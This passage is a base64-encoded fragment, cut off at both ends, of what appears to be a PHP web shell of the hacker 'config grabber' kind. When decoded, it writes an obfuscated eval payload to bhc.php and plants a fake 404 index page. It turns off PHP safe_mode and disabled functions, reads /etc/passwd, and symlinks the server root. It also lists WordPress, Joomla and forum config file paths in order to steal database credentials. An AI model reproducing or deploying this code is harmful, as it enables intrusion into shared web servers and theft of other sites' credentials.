kX1JFUVVFU1RbJ2RvJ10pKXsgCnN3aXRjaCAoJF9SRVFVRVNUWydkbyddKXsKIyMjIyMjIyMjIyMjIyMjI3BocCBpbmZvCmNhc2UgJ2JoY29uZmlnJzsKZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jMDBmZjAwPistLT09WyBCLUYgQ29uZmlnIF09PS0tKzwvZm9udD48L2I+PGJyPjxicj4iOwogIG1rZGlyKCdiY29uZmlnJywgMDc1NSk7CiAgICBjaGRpcignYmNvbmZpZycpOwogICAgICAgICRha3NlcyA9ICIuaHRhY2Nlc3MiOwogICAgICAgICRidWthX2xhaCA9ICIkYWtzZXMiOwogICAgICAgICRidWthID0gZm9wZW4gKCRidWthX2xhaCAsICd3Jykgb3IgZGllICgiRXJyb3IgY3V5eSEiKTsKICAgICAgICAkbWV0aW4gPSAiT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwIC5jcGMKIjsgICAgCiAgICAgICAgZndyaXRlICggJGJ1a2EgLCAkbWV0aW4gKSA7CiAgICAgICAgZmNsb3NlICgkYnVrYSk7CiRjb25mc2hlbGwgPSAnUEQ5d2FIQWdMeW9nZkh3Z1NXUmxZU0E2T2lCTmNpNUJiSE5oTTJWcklIeDhJRkJ5YjJkeVlXMXRhVzVuSURvNklFY3RRaUI4ZkNCRVpYTnBaMjVsY2lBNk9pQkJiQzFUZDJsemNtVWdmSHdnS2k4a1QwOVBNREF3TURBd1BYVnliR1JsWTI5a1pTZ25KVFkySlRZM0pUTTJKVGN6SlRZeUpUWTFKVFk0SlRjd0pUY3lKVFl4SlRNMEpUWXpKVFptSlRWbUpUYzBKVFpsSlRZMEp5azdKRTlQVHpBd01EQlBNRDBrVDA5UE1EQXdNREF3ZXpSOUxpUlBUMDh3TURBd01EQjdPWDB1SkU5UFR6QXdNREF3TUhzemZTNGtUMDlQTURBd01EQXdlelY5T3lSUFQwOHdNREF3VHpBdVBTUlBUMDh3TURBd01EQjdNbjB1SkU5UFR6QXdNREF3TUhzeE1IMHVKRTlQVHpBd01EQXdNSHN4TTMwdUpFOVBUekF3TURBd01Ic3hObjA3SkU5UFR6QXdNREJQTUM0OUpFOVBUekF3TURCUE1Ic3pmUzRrVDA5UE1EQXdNREF3ZXpFeGZTNGtUMDlQTURBd01EQXdlekV5ZlM0a1QwOVBNREF3TUU4d2V6ZDlMaVJQVDA4d01EQXdNREI3TlgwN0pFOVBUekF3TUU4d01EMGtUMDlQTURBd01EQXdlekI5TGlSUFQwOHdNREF3TURCN01USjlMaVJQVDA4d01EQXdNREI3TjMwdUpFOVBUekF3TURBd01IczFmUzRrVDA5UE1EQXdNREF3ZXpFMWZUc2tUekJQTURBd1R6QXdQU1JQVDA4d01EQXdNREI3TUgwdUpFOVBUekF3TURBd01Ic3hmUzRrVDA5UE1EQXdNREF3ZXpWOUxpUlBUMDh3TURBd01EQjdNVFI5T3lSUE1FOHdNREJQTUU4OUpFOHdUekF3TUU4d01DNGtUMDlQTURBd01EQXdlekV4ZlRza1R6QlBNREF3VHpBd1BTUlBNRTh3TURCUE1EQXVKRTlQVHpBd01EQXdNSHN6ZlRza1R6QlBNREJQVHpBd1BTUlBUMDh3TURBd01EQjdNSDB1SkU5UFR6QXdNREF3TUhzNGZTNGtUMDlQTURBd01EQXdlelY5TGlSUFQwOHdNREF3TURCN09YMHVKRTlQVHpBd01EQXdNSHN4Tm4wN0pFOVBUekF3TURBd1R6MGtUMDlQTURBd01EQXdlek45TGlSUFQwOHdNREF3TURCN01UUjlMaVJQVDA4d01EQXdNREI3T0gwdUpFOVBUekF3TURBd01Ic3hOSDB1SkU5UFR6QXdNREF3TUhzNGZUc2tUMDlQTUU4d1R6QXdQVjlmUmtsTVJWOWZPeVJQVHpBd1R6QXdNREE5TUhneE1EZGpPMlYyWVd3b0pFOVBUekF3TURCUE1DZ25Ta1U0ZDAxRVFsQk5SVGgzVFVRd2ExUXdPVkJOUkVGM1ZIcEJkMHREVWxCVU1EaDNWSHBDVUUxRVFYTktNMHBwU25sck4wcEZPSGRVZWtGM1ZEQTRkMDFEWjJ0VWVrRjNUVVU0ZDFSNlFYZE1SRUkwVGtkTk1FdFVjMnRVTURoM1RVVTRkMDFGT0hkUVUxSlFWREE0ZDAxRVFYZFVla0Z2U2tVNVVGUjZRWGROUkVGM1ZIbG5hMVI2UWxCTlJFSlFWSHBCZDB0RFVsQk5SRUYzVkhwQ1VFMUVRWE5OU0dkNFRqSk5jRXhEWkVaaWJsSnNZMjVzZG1SWVpISmhSa3BKVjFWMFQxWXdPVlpXUlVab1VXMUtSRmt3VW10U2JWcElXakJzY0ZOdGNFMWlSVEYwVlVoQ1VtTldUbnBXYmxwWlpVWndOazFFUlhsTmVsRXhUbXBqTkU5VGMzWlFVMk56U2pCR1ExRXdVa1pTYTJSSlUxVndURlJGTVU5VU1VSlNWV3hPVlZaV1dsaFhSbXhoV1ZkS2FscEhWbTFhTW1od1lXMTBjMkpYTlhaalNFWjVZek5TTVdSdVpEUmxXRzkzVFZSSmVrNUVWVEpPZW1jMVMzazRia3RUYXpkYVdGcG9Za05uYTFRd09IZE5SVGgzVFVVNGQwdFVjejBuS1NrN2NtVjBkWEp1T3o4K2ZrUnJjamxPU0dWdVRraGxiazVJWlRGNlpuVnJaMFpOWVZoa2IzbHFZMVZKYldJeE9XOVZRWGg1WWpFNGJWSjBkMjEzU2pSTVZEQTVUa2h5T0ZoVWVrVllVa3AzYlhkS1dFeFVNRGxPU0dWRldFaHlPRmhvZEU5T1ZEQTRXRWhsUlZoSWNqaFFhM0k0V0ZSNlJWaFVNRGhZU0hSSlRGUjZSVmhJY2poWVZIcEZXRkowVDA1VWVrVllWSHBGV0VobFJYQlNkR1o1WkcxUGJFWnRiSFptWW1aeFJIbHJkMEpCYzB0aE1EbGhZWEo1YVZkTmEyVkRNRTlNVDAxamRXTXdiSEJWVFhCSVpISXhjMEYxYms5R1lWbDZZVzFqUTBkNWNEWklaWEphU0hwWE1WbHFSalJMVlZOMlRsVkdVMnN3ZVhSWE1FOTVUMHhtZDFWQmNGSlVjakZMVkRGdVQwRnNXVUZoWVdOaVFubHNSRU5DYTJwamIyRk5ZekpwY0VSTmMxTmtRalYyUm5WNVdrWXpUekZtYldZMFIySlFXRWhVZDNwWlpVRXlXWHBKTldoYU9HMW9WVXh3U3pKamFtUnZPWHBqVlVsTVZIcEZXRWh5T0ZoVWVrVllhRlJ6YkdaTmVWTm9kRTlPVkhwRldGUjZSVmhVZWtWd1MxZzlQWFJ0V1d4bWVUa3dSRUl4YkdJeWVIQmtRbXd3YUdWRmNFdFljR3hHYld0MlJtdzVXbU5pYm5aR2JVOXdaRTFHVUVoMFREZDBUV3hOYUc5c2VrWXlZVEJvZEU5blFYSTVWR0Y1VTIxbVltdFRhekV3Y0doaVUyaHJkV0ZhWkhSRk9YZDBUMmRCY2psVVlYbFRiV1ppYTFOck1UQTNkRzB4YkdSMVdXeEhXRkJNWm1KclUzZGxNRWxyTW1rd1puVkZObEphT1RObU0wWldhM3BUYUdkWGNHeERNbWwyZDNSR09IZEJUMDVYTVU5alFYSkJTVlY1VDFsVVpUUm9UbTlwTUdSQ1dDdDBhbmhRWTBKNVRFNUpVRGhtYjJ3d1pHOUJLMWRLTVc5M2NsbDJaRTFqY0dNeE9XcEJiM2xXWTBKWU9GSXpUM0JtYjNoc1RrbFFPRVl6VHpWa2IwRkpablZzV0dOVU1FcG1iMkUwWm5RNWFrWXpTRXBPU1ZCb1EwMDVURWRpVTJoM2RFVkpaRUo1V21NeWJGWjNaVkJKUTJKaE1HUjZVMmgzZEVWSlEwMTVha1F5Wmxwa00yRldZM1F4YW1ReWVIWkdhbEJxWTJwalRWbE5RekpMV0ZCSmQzUnVhbVF5ZUhaR2FsQkpkM3BJZWt0VVREVkxWRk5vZDNSRlNXTk5PVlptZERGTlEwSXhjR1IxVERaM2RVOXBSRzg1YzBOVldFbGpNbUZXWTJKamFWSjBibE5tUWxsd1kyOXlVMlIxWVdwRVFrOXBkMjltV2tOQ05VeGpWVmhKUTJKcmNFTkNXRk4zYjJsc1pIVmpiR1p2YkdwRFZWaEpSako1VmtaYU1YcGpZbXR3WTJwVGFIZDBSVWxqVFRsV1puUXhUVU5DTVhCa2RVdzJkMlZ5TUVaMVNUZDBTa1ZKZDNWUGJFZDFWM05EUW5od1l6STBObmR2V1d4a2JVOXNSbXBUYUhkMFJVbDNiMk4yWkcxWGMyWXlZWEJqTW1rd1MwcHVTbVF5ZUV4M1pWTm9aMWRRYUVSQ05WaG1ZbGRUWm05aE5HWnZlVnBqUW5KVFJqSmhVMk5DV1RCSFdIQk5aREkxTUZKaVpteEVRbVpRWm1WUVNVTk5PVk5qWlZOb1F6STVVMlF6ZHpaM2RFaFlTR1ZGV0VobFJUZDBUV3QyUmsxUGJFWnFVRWxJWW00MGQzVlpkbVJ2YkV4M2RGbGxWekJaWlZjd1NEZDBUV3RwUXpKemJVWk5PVEZrVFZkelF6STVVMlF6ZHpaM2RXWlFSR0pQYkV0WWNGaERRazlNUkVJMWJVdEtSWHBHZFVrM2RFMXJka1pOVDJ4R1NqRmFRMEpQY0daaVNEWjNaV1pZUjJWVGFHZFhVR2hFUWpWWVptSlhObU5OT1dwbVlsazNkRWxRU1VOTk9UUlNZbGxRUTBKUGRtWjZVRWxJZFc0MGQyVnVXRWQwUlRGR2RVbEpkM3BGV0V0QlF6VlBhbE5vZEcwd2FIY3lZM1prTTA5c1JrcEZTVWRZVUdoRE1qbFRaRE4zTm5kMFNGaElaVVZZU0dWRk4zUk5ZM1prYlZkelkwMTVjMFJDZURWTFNrVjRXWFZ1TkV0WWNEQmpZbWt3VW1KWlVFTkNUM1ptZWxCSlNIVnVOSGRsYmxoSGRFVjRSblZKU1hkNlJWaElaVVZZU0dWVGFHTk5PVlptZERFelkwSnNiVVIxVnpaM2J6VjJSazB4YVdSbFUyaG5WM0JwUjFoUVNYZDFUMnhIZFZkelkyOWhhbVF6YTJsbWIyeDJaR3BRU1dSTk9WWmpWRk5vZDNSdWFtUXllSFpHYWxCcVNIcElla2g2U0hwTFdIQTVkR3BZZGtZelR6VmtiMEVyZEdwWWRrUnZZV2xqWlRSb1RtOXJkbU4xVEN0MGFuaE1SR0pEU1VSQ1Z6bDNiVTkyWkRKWVNrNUpVRGhWWlhKSlJqTlBOV1J2UVRsM1RWbDJaRzg1V2t0S1JXcFpaVmN3V1dWWE1FdGFiakJqWW1rd1VtSlpVRU5DVDNabWVsQkpTSFZ1TkhkbGJsaEhkRVY0Um5WSlNYZDZSVmhJWlVWWVNIUjNOMlp2WVRSbWRERnBaRzlzYldScVVFbERNbUZXWm05aFdrdDZOWFJTUVVOSlZ6STVWbU5OYkcxaU1sbFhRMEkxYkdSbFdIWlZaWElyZEdwNFRXUXphM04zYnpGc1ptOXBkbU5sTUVwQmNqbFVZWFIzSzNScWVIQmtiVzR4Wm5SdVZrTkNNV3hPVldzeFJrMVlTbmQxVHpWR2IwRTVkMjFQYkVkMVYwcDNkV05wWkhWaGJFNVZkMjFTU2s4eFJrMVlWbXRhZDBsR01tdzJZMVF3U2xsbFJVcDNkRGdyZEdwNGNHUnRiakZtZEc0d1IySnViRTVWYTNwbVFtdHpSR0pYU25kMVkybGtkV0ZzVGxWclZHWnZlVnBtZEVVcmQwcEZkazVKVURoU01tTjJSazB3SzA1dmExcDNkRGdyVG05clduZDBPQ3RyZWxOb1JFSkRVRVJpV1hwallsZFFhM2s1VjFReFdVRkNXbVl4UmsxWWJXSlZUSEJIV0hCd1kwcEphV05OYkZOallUbHRZMkpQWjBNeU9WWm1iMkZXWm5WSVVHdDFZVnBrZEV4d1IxaHdiRU15YVhaM2RHWjVSbTFyZGtaS05FbFZRalV5UTBKNGNHTjBibUZCVEZoV2EzcFRhR2RDWVZOR01tRTNkRXBQYVhkbE1FbElaVk5vWTAwNVdtTkNlV3BFZEdsdFkySlBaMk52ZVRCRFZVbE1abUpyVTJoVmJtbEdXa1ZNUkVJMVRXUmFiRGQwVFd4TmFHOTRkbU15YkZab2RFOXdaRTFqZGtKNmJtWlNkRTl3WkUxamRrSjZlV1pvVld3M2RFMWhha1J2T0VsM2FuaEtkM1ZaTUVkQ2VHeE9WVVpKUXpJNVUyUXpkelozZEVnMFNHVkpXRXRsUlVsTFdtNHdZMkpwTUZKaVdWQkRRazkyWm5wUVdFWjFTVWxJZFc0MGQyVjVXRWQwUldwTFpVVTBTR1ZKV0hkbFUyMU9iRk54WWxWdVlVWXlZVnBrVFhselkxVkZUWGQ1Ym1sR00xa3paRE5yVEhkbFVEaFNNbmNyZDNSRk9FTktibnBtZFd4VFkxUXdiWGR2V1haa2J6bGFTMHBGYWtobFJWaEljbU52ZDJWVFNXWnZZVFJtZERGNlJHOTVUR1F6UmpaSWRXNDBkMlZ1V0VkMFJYaEdkVWxKZDNwRldFaGxibTlQU2tVM2EzbzFaR3R2YkZaalRUbGtTSGt4Wms1ME9VcE9Ta1U0UTBwdWVtWjFiRk5qVkRCdGQyOVpkbVJ2T1ZwTFNrVnFWekJJV0VobFJWaExXbTR3WTJKcE1GSmlXVkJEUWs5MlpucFFXRVoxU1VsSWRXNDBkMlY1V0VkMFJXcFhNRWhZU0dWRldFdGFSaXRDV2s5d1pFMWpka0o2ZVdaaVZGaDJRMm8wT0VOdGQwbFNlalJLUzFoUVRFTlZVM0ZMV0hBNWRHMHdhR05DV1ZCa1drVktUbTkzU1VZelR6VmtiMEU1YTFwdWFtUXllSFpHYWxCSmQzcEpXRXRsUlRSSWRFVTNkM1ZQYkVkMVYzTkdNbWxwWTI4NU0wdHFibGhIZEVWWVJuVkpTVWhpYmpSM2RFZzBTR1ZKV0V0bFJVbExXa1lyVG05cFdrNUtUMmwzY2xsWVEwSTFiR1IwYm05a00yRldZMjloVEZKcWVFcEdTa1YyVGtwM04zUnRNR2huVjNCc1F6SnBkbmQwUmpoRGJYZEpVbm8wT0VOdGQwbFNlalE0UTIxM1NWSjZORGhEYlhkSlVubzBPR052YkRKM2IyeE1UbFZyVFdReU9UQmpZbmRLVG0xNE9IZHliRXhqUW5KSlMycFFTVlJpZDFaWFFuaDZRMVJaYkVSYWJqaG5kRzVYUmswNWJVWk5lWE5rUW14V1kxcEZOa3RLYm5WU1FYZEpaM1ZZU1U5dllYcEVRbVpXWTJKM1NVdHFVRWxYUWxoelFUTm1jRVl6YTJ4M2RYZzRkMlZZZG1OdmJESk9TVkE0VWpKUGNHWnFORGhTTW10MlkzVk1LM1JxV0haRWRVOXpaR1UwYlV0WWNFMW1RalZxWm05c2RtUktibXhIZEVsTVExVllURU5LV0V4bWIyRTBablJzTjNSS1QyeEhkVzVUWkRKUGJIZGxNRWxqWW1sWVpHODVUR05WU1V4RFZWaE1abTloTkdaMFREZDBTazlzUjNWdVUyUXlUMngzWlRCSlkySnBXR1J2T1V4alZVbE1RMHBZVEdOaWFWaGtiemxNWTJGVGVHSlZURGQwYld0c1puVmhXbVJLUlV4alltbFlaRzg1VEdOaFUxaGlWRk5vWjFkd1RXWkNOV3BtYjJ4MlpFcHVVMlF5Wm5Ca1NrbE1abUpaYkVaS1dFeEdiM2w2Umxwc04zUktUMnAzWlRCSlYyOHhOVVl6ZVZOaU1sbDJaRTAxYkVNelYxQnJNbmgyUXpKNVUwUnZPWHBtZEVaVGEzVmhlbU5pZDFOcmRXNXBSak5JY0V0WWNIQmpTa2xNUTFwc04zUk5NVFZHTTNsVFlqSlpVMlF6V1d4b2RFOXFhRlJUYUVaTllUQm1ZbXRXZDNWUFdtWkNRVGQwYlRGc1pIVlpiRWRZY0ZwallrOHhSazAwU1dOTmVWTkdNa0UzZEcwd2FHZFhjRTFtUWpWcVptOXNkbVJLYm0xallrOW5ZMjk1TUVOVlNVeG1ZbXRUYUdKVGFHdHZlVnAzWlRCSlEySnJXa05pVEZCcmVuSldablZwTUd0YVdHMUlTalV3UjNWWGJWSjBSbnBTYlU4MFpuUkdVMnQ2VjFabWRXa3dhMXBZYlZsVk5UQkhkVmR0VW5SR01sSnRUelJtZEVaVGEzcEdWbVoxYVRCcldsaHRTM1ExTUVkMVYyMVNkRVkxVW0xUE5HWjBSbE5yZWtWV1puVnBNR3RhVERkMFNrOTZSazFJU1U1VmJrMUVRbmhzWWpKbWJHWjVPV3BrTWpVd1kwSTFNRVphU1V4bVltdFRhRlJUYUd0dlkzQmtiMkY2ZDJVd1NXTmlhVmhrYnpsTVkxVkpiVTV2Y2tsRWRXdHNZMm93U210YVdFeEdNMnRxYUZSVGFHdHZUMmxtYjNKSlRsVnVhVVp0YTJsSFZVbHdTMWh3VFdRemEyeERRbGxRYUhSUFRVUkNlR3hHV201cFJscEZURVJDVnpsT1NrOU5SRUo0YkdoaVUyaEVRa05RYTI5c1RIZGxNRGwzWlVWd1IxaHdhbVF5TlRCRVFqVXhZMVJUYUdkWFVFeGpUV3hUWTFWRk9YZHZZVFJHYjNoMlkyOUJVR3RhZHl0cldsaE1ZMDFzVTJOVlREZDBTazlOUkVKNGJIZGxNRWxtZFd0d1pGVkpUR05OYkZOallWTllZbFZNTjNSTmJFMW9kSGxzUmsxaGJVUlZTVzFTYlU4MFpuUkdVMnR2WTNCa2IwRndhR0pUYUVNeU9WWm1iMnhXWmtKQk4zUnRNR2hyZFZsYVExcEZPWGR2WTNCa2IyRm5ZekpoTUdJeVdYWmtiVTlzWkcxUGVtaDBkMHhtWW10VFVscFBUVVJDZUd4M1NrdzNkRTFzVFdoMGNreEdNMnRxYUdKVGFFTXlPVlptYjJ4V1prSkJOM1J0TUdocmRXRjZZMkozU1U1VmJucG1kV3RuUmsxaFdHUnZlV3BqVlVsTVEySjNVMnRhUmxOcmIyTndaRzlCY0V0WVVFeG1ZbGxzUmtwRk9YZDFXVEJHYkRsYVkySnVVME5DV1d4b2RFOXBSa3BZYld0YVdFeG1ZbGxzUmtvMGJWSnRUelJtZEVad1MxaFFUR1ppV1d4R1NrVTVkM1ZaTUVac09WcGpZbTVUUTBKWmJHaDBUMmxHU2xodGExcFlUR1ppV1d4R1NqUnRVbTFQTkdaMFJuQkxXRkJNWm1KWmJFWktSVGwzZFU5YVJFSXdVRVl6VDFwaU0ydHNSbTk0YVVNeVFWQnJXalV3UjNWWGJWSjBSbTFTZEU4eFJqSmhXbWhWVERkMFRXeE5hRzloV21OQ1puQm9kR3RpWkROclRFRjFhMnhHTTBoS1VuUlBla1pOU0hCb1lsTm9hM1Z1YVVZelNFbE9WVzVzUjNSSlNtTnZZVTFFUWpWc2FIUm1jbGRzT1ZkWFlWbFVZVEE1VlU5MFJsTjNkRVpLVW5SM2JXaFVVMHBTZEU5NlJrMUljRXRZVUV4amIza3dRMkZ6Wm5kbE1FbERZbXRhUTJKTVVHdDFZWHBqWW5kVGEzVnVhVVl6U0hCTFdIQTVZMEo0ZW1OaVUyaHJkVTkyUkRKaFZrWmFSVGwzZFU5MlJESmhWbUl5Wm14bWVUbHBaRzlZVUd0MVdWcERXa3czZEUxamRrWk5ZV2xETWtsUWEzVlBka1F5WVZaR1dtNXBSbHBGVEdadk9YRmpRalJ3UjFod2NHTktTV2xyZFU5MlJESmhWa0o2ZVdab1lsTm9Rekk1Vm1admJGWm1Ra0UzZEcwd2FHdDFUM1pFTW1GV1pFMTVjMk5WUlRsM2RVOTJSREpoVm1JeU5XbGtRa0ZRYTNWUGRrUXlZVlpDZW01bWFGUlRhRVJDUTFCcmRVOTJSREpoVm1STmVYTmpWVVZwVGxWRmJXRjVPVUpYWVd0clYwRnJTRTlWUm5CSFdIQnFaREkxTUVSQ05URmpWRk5vWjFkUVRHWk5lVnAzWlRCSmEzVlBka1F5WVZaQ2VubG1TMWh3Y0dOS2FXeEdUV0Z0UkZWSmJVWnZlWHBHV2taVGEzVmphVVpLVEhCSFdGQk1ZMHBGT1hkMVdUQkdiRGxhWTJKdVUwTkNXV3hvZEVaSmExcFliV3RhZUd4SGRFbE1aazE1V2xKMFJqZHJXbGhNUmpOcmFtaFZURGQwU2s5cGQyVXdTV1oxYTNCa1ZXbHNSM1JKU2s1VlJrcFNkSGR0ZDBwWVRHTktUSEJMV0ZCTVEwcEZPWGQxVDFwRVFqQlFZMkpKVUd0YWQyMVNkRVpLYTFwWVRHTktUSEJMV0hCd1kwcEpURU5WUldsT1ZVVnRhMXBzTjNSS1QxaERZbGw2ZDJVd1NXdHZjamQwYlRGc1pIVlpiRVJDUTFCcmIzZEpkMVF3U1d0YVJuQkhXRkJNUm05NWVrWmFSVGwzZEU5S1MxaHdPWFJOYkUxb2RFOVlRMkpaZW5kbE1EbDNkRVp0YUdKVGFFTXlPVlptYjJ4V1prSkJOM1J0TUdocmIwOXBabTk1WkdKVlJUbDNiM2xhUmsxNU5XaDBUekZHTW1GYVVuUlBXRU5pV1hwb1ZGTm9aMWR3T1hSdE1HaG5WM0JhWTJKUE1VWk5ORWxyYjA5cFptOXlOM1J0TUdoTFdEMDlZV3hXYmxKUVNYRT0nOyAKJGZpbGUgPSBmb3BlbigiYmhjLnBocCIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjb25mc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJiaGMucGhwIiwgMDY0NCk7CiRpbmRleHNoZWxsID0gZm9wZW4oImluZGV4LnBocCIgLCJ3KyIpOwokZGF0YSA9ICdQR2d4UGs1dmRDQkdiM1Z1WkR3dmFERStJQTBLUEhBK1ZHaGxJSEpsY1hWbGMzUmxaQ0JWVWt3Z2QyRnpJRzV2ZENCbWIzVnVaQ0J2YmlCMGFHbHpJSE5sY25abGNpNDhMM0ErSUEwS1BHaHlQaUFOQ2p4aFpHUnlaWE56UGtGd1lXTm9aU0JUWlhKMlpYSWdZWFFnUEQ4OUpGOVRSVkpXUlZKYkowaFVWRkJmU0U5VFZDZGRQejRnVUc5eWRDQTRNRHd2WVdSa2NtVnpjejRnRFFvZ0lDQWdQSE4wZVd4bFBpQU5DaUFnSUNBZ0lDQWdhVzV3ZFhRZ2V5QnRZWEpuYVc0Nk1EdGlZV05yWjNKdmRXNWtMV052Ykc5eU9pTm1abVk3WW05eVpHVnlPakZ3ZUNCemIyeHBaQ0FqWm1abU95QjlJQTBLSUNBZ0lEd3ZjM1I1YkdVKyc7CiR0dWxpcyA9IGZ3cml0ZSggJGluZGV4c2hlbGwsIGJhc2U2NF9kZWNvZGUoJGRhdGEpKTsKZmNsb3NlKCRpbmRleHNoZWxsKTsKICAgZWNobyAiPGlmcmFtZSBzcmM9YmNvbmZpZy9iaGMucGhwIHdpZHRoPTk3JSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiI7IApicmVhazsKCiMjIyMjIyMjIyMjIyMjIyNDTVMgREVURUNUT1IKY2FzZSAnY29uZmlnJzsKJGJ5cGhwID0gInNhZmVfbW9kZSA9IE9mZgoJCWRpc2FibGVfZnVuY3Rpb25zID0gTm9uZQoJCSI7CmZpbGVfcHV0X2NvbnRlbnRzKCJwaHAuaW5pIiwkYnlwaHApOwoKZWNobyAnPENFTlRFUj48Yj4rLS09WyBDb25maWcgcHJpdjggXT0tLSs8L2I+PGJyPjxicj4nOwo/PgoKPGJSPjxmb3JtIG1ldGhvZD1wb3N0PgoJPHRleHRhcmVhIHJvd3M9MjAgY29scz04NSBuYW1lPXVzZXI+PD9waHAgICR1c2Vycz1maWxlKCIvZXRjL3Bhc3N3ZCIpOwpmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKewokc3RyPWV4cGxvZGUoIjoiLCR1c2VyKTsKZWNobyAkc3RyWzBdLiJcbiI7Cn0KCj8+PC90ZXh0YXJlYT48YnI+Cgk8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdSB2YWx1ZT0iTGV0cyBTdGFydCIgLz48L2Zvcm0+PC9DRU5URVI+Cgk8P3BocAoJZXJyb3JfcmVwb3J0aW5nKDApOwoJZWNobyAiPGZvbnQgY29sb3I9IzAwZmYgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IjsKCWlmKGlzc2V0KCRfUE9TVFsnc3UnXSkpCgl7Cglta2RpcignSW5qZWN0JywwNzc3KTsKJHJyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwokZyA9IGZvcGVuKCdJbmplY3QvLmh0YWNjZXNzJywndycpOwpmd3JpdGUoJGcsJHJyKTsKJGluZGlzaGVsbCA9IHN5bWxpbmsoIi8iLCJJbmplY3Qvcm9vdCIpOwoJCSAgICAkcnQ9IjxhIGhyZWY9SW5qZWN0L3Jvb3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IE93TjNkPC9mb250PjwvYT4iOwogICAgICAgIGVjaG8gIlBsZWFzZSBjaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj48dT4kcnQ8L3U+IjsKCQkKCQkkZGlyPW1rZGlyKCdJTkpFQ1RJT04nLDA3NzcpOwoJCSRyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwogICAgICAgICRmID0gZm9wZW4oJ0lOSkVDVElPTi8uaHRhY2Nlc3MnLCd3Jyk7CiAgIAogICAgICAgIGZ3cml0ZSgkZiwkcik7CiAgICAgICAgJGNvbnN5bT0iPGEgaHJlZj1JTkpFQ1RJT04vPjxmb250IGNvbG9yPXdoaXRlIHNpemU9MyBmYWNlPVwiY29taWMgc2FucyBtc1wiPmNvbmZpZ3VyYXRpb24gZmlsZXM8L2ZvbnQ+PC9hPiI7CiAgICAgICAJZWNobyAiPGJyPlRoZSBsaW5rIGdpdmVuIGJlbG93IGZvciBjb25maWd1cmF0aW9uIGZpbGUgc3ltbGluay4uLm9wZW4gaXQsIG9uY2UgcHJvY2Vzc2luZyBmaW5pc2ggPGJyPjx1Pjxmb250IGNvbG9yPXJlZCBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj4kY29uc3ltPC9mb250PjwvdT4iOwogICAgICAgCQogICAgICAgCQkkdXNyPWV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXInXSk7CiAgICAgICAJJGNvbmZpZ3VyYXRpb249YXJyYXkoIndwLWNvbmZpZy5waHAiLAoJCSJ3b3JkcHJlc3Mvd3AtY29uZmlnLnBocCIsCgkJIndlYi93cC1jb25maWcucGhwIiwKCQkid3Avd3AtY29uZmlnLnBocCIsCgkJInByZXNzL3dwLWNvbmZpZy5waHAiLAoJCSJ3b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwIiwKCQkibmV3cy93cC1jb25maWcucGhwIiwKCQkibmV3L3dwLWNvbmZpZy5waHAiLAoJCSJibG9ncy93cC1jb25maWcucGhwIiwKCQkiaG9tZS93cC1jb25maWcucGhwIiwKCQkiYmxvZy93cC1jb25maWcucGhwIiwKCQkicHJvdGFsL3dwLWNvbmZpZy5waHAiLAoJCSJzaXRlL3dwLWNvbmZpZy5waHAiLAoJCSJtYWluL3dwLWNvbmZpZy5waHAiLAoJCSJ0ZXN0L3dwLWNvbmZpZy5waHAiLAoJCSJ3cC9iZXRhL3dwLWNvbmZpZy5waHAiLAoJCSJiZXRhL3dwLWNvbmZpZy5waHAiLAoJCSJqb29tbGEvY29uZmlndXJhdGlvbi5waHAiLAoJCSJwcm90YWwvY29uZmlndXJhdGlvbi5waHAiLAoJCSJqb28vY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbXMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJzaXRlL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkibWFpbi9jb25maWd1cmF0aW9uLnBocCIsCgkJIm5ld3MvY29uZmlndXJhdGlvbi5waHAiLAoJCSJuZXcvY29uZmlndXJhdGlvbi5waHAiLAoJCSJob21lL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiY29uZmlndXJhdGlvbi5waHAiLAoJCSJTU0kucGhwIiwKCQkiZm9ydW0vU1NJLnBocCIsCgkJImZvcnVtL2luYy9jb25maWcucGhwIiwKCQkiZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJInVwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwIiwKCQkiY2MvaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJInZiL2luY2x1ZGVzL2NvbmZpZy5waHAiLAoJCSJ2YjMvaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJImNwYW5lbC9jb25maWd1cmF0aW9uLnBocCIsCgkJInBhbmVsL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkidWJtaXR0aWNrZXQucG